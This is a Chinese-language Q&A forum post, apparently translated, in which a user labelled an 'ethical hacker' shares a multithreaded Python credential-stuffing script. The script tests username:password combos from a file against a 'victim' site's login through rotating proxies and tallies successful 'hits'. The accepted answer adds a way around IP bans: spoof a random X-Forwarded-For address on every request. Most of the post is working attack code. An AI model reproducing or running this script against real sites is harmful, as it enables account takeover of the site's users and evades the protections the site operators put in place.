2017-07-10 68 views
1

作为道德黑客阵营的一部分,我正在进行一项任务,即必须在使用代理的网站上发出多个登录请求。要做到这一点,我想出了下面的代码:使用Python请求库发送异步请求

import requests 
from Queue import Queue 
from threading import Thread 
import time 
from lxml import html 
import json 
from time import sleep 
global proxy_queue 
global user_queue 
global hits 
global stats 
global start_time 


def get_default_header(): 
    return { 
     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0', 
     'X-Requested-With': 'XMLHttpRequest', 
     'Referer': 'https://www.example.com/' 
    } 


def make_requests(): 
    global user_queue 
    while True: 
     uname_pass = user_queue.get().split(':') 
     status = get_status(uname_pass[0], uname_pass[1].replace('\n', '')) 

     if status == 1: 
      hits.put(uname_pass) 
      stats['hits'] += 1 

     if status == 0: 
      stats['fake'] += 1 

     if status == -1: 
      user_queue.put(':'.join(uname_pass)) 
      stats['IP Banned'] += 1 

     if status == -2: 
      stats['Exception'] += 1 

     user_queue.task_done() 



def get_status(uname, password): 
    global proxy_queue 
    try: 
     if proxy_queue.empty(): 
      print 'Reloaded proxies, sleeping for 2 mins' 
      sleep(120) 

     session = requests.session() 
     proxy = 'http://' + proxy_queue.get() 
     login_url = 'http://example.com/login' 
     header = get_default_header() 
     header['X-Forwarded-For'] = '8.8.8.8' 
     login_page = session.get(
      login_url, 
      headers=header, 
      proxies={ 
       'http':proxy 
      } 
     ) 
     tree = html.fromstring(login_page.text) 
     csrf = list(set(tree.xpath("//input[@name='csrfmiddlewaretoken']/@value")))[0] 
     payload = { 
     'email': uname, 
      'password': password, 
      'csrfmiddlewaretoken': csrf, 
     } 

     result = session.post(
      login_url, 
      data=payload, 
      headers=header, 
      proxies={ 
       'http':proxy 
       } 
      ) 

     if result.status_code == 200: 
      if 'access_token' in session.cookies: 
       return 1 
      elif 'Please check your email and password.' in result.text: 
       return 0 
      else: 
       # IP banned 
       return -1 
     else: 
      # IP banned 
      return -1 
    except Exception as e: 
     print e 
     return -2 

def populate_proxies(): 
    global proxy_queue 
    proxy_queue = Queue() 
    with open('nice_proxy.txt', 'r') as f: 
     for line in f.readlines(): 
      proxy_queue.put(line.replace('\n', '')) 


def hit_printer(): 
    while True: 
     sleep(5) 
     print '\r' + str(stats) + ' Combos/min: ' + str((stats['hits'] + stats['fake'])/((time.time() - start_time)/60)), 


if __name__ == '__main__': 
    global user_queue 
    global proxy_queue 
    global stats 
    global start_time 


    stats = dict() 
    stats['hits'] = 0 
    stats['fake'] = 0 
    stats['IP Banned'] = 0 
    stats['Exception'] = 0 
    threads = 200 
    hits = Queue() 
    uname_password_file = '287_uname_pass.txt' 
    populate_proxies() 
    user_queue = Queue(threads) 
    for i in range(threads): 
     t = Thread(target=make_requests) 
     t.daemon = True 
     t.start() 
    hit_printer = Thread(target=hit_printer) 
    hit_printer.daemon = True 
    hit_printer.start() 
    start_time = time.time() 
    try: 
     count = 0 
     with open(uname_password_file, 'r') as f: 
      for line in f.readlines(): 
       count += 1 
       if count > 2000: 
        break 
       user_queue.put(line.replace('\n', '')) 
     user_queue.join() 
     print '####################Result#####################' 
     while not hits.empty(): 
      print hits.get() 
     ttr = round(time.time() - start_time, 3) 
     print 'Time required: ' + str(ttr) 
     print 'average combos/min: ' + str(ceil(2000/(ttr/60))) 
    except Exception as e: 
     print e 

所以有望使通过多线程的网站上很多要求,但预期它不工作。几次请求后,代理被禁止,并停止工作。由于我在使用代理之后才会处理代理,因此不应该如此。所以我相信这可能是由于以下原因之一:

  1. 在尝试使用多个会话发出多个请求时,它以某种方式未能保持不支持异步性的不同性。
  2. 受害人网站禁止的IP基础上的群体例如,禁止开始132.xxx所有IP上
  3. 受害人网站使用标题,如“从任何132.xxx IP地址的接收多个请求的X转发,对于','客户端IP','通过'或类似的头部来检测始发IP。但似乎不太可能,因为我可以通过浏览器登录,没有任何代理服务器,它不会抛出任何错误,这意味着我的IP没有任何意义。

我不确定天气我在线程部分或请求部分发生错误,任何帮助表示赞赏。

+0

为什么设置'X-Forwarded-For'标头? –

+0

@MartijnPieters我读过大多数网站都把第一个参数作为IP,所以它试图揭示我的实际IP –

+0

所以现在你的受害者站点认为你的计算机也是一个代理,黑名单8.8.8.8。您的*浏览器*不会设置该标题。 –

回答

0

我已经找出问题所在了,多亏了@Martijn Pieters,像往常一样,他是一名救生员。

我使用的是精英级代理,受害者站点无法找到我的IP地址,但是,它使用X-Forwarded-For来检测我的根IP地址。

由于精英级别的代理不公开IP地址,并且不附加Client-IP标头,受害者可以检测到我的IP的唯一方法是使用X-Forwarded-For中的最新地址。解决这个问题的方法是,在每次发出请求时,将X-Forwarded-For标头设置为随机IP地址,这些请求会成功欺骗受害者站点,使其相信请求是合法的。

header['X-Forwarded-For'] = '.'.join([str(random.randint(0,255)) for i in range(4)])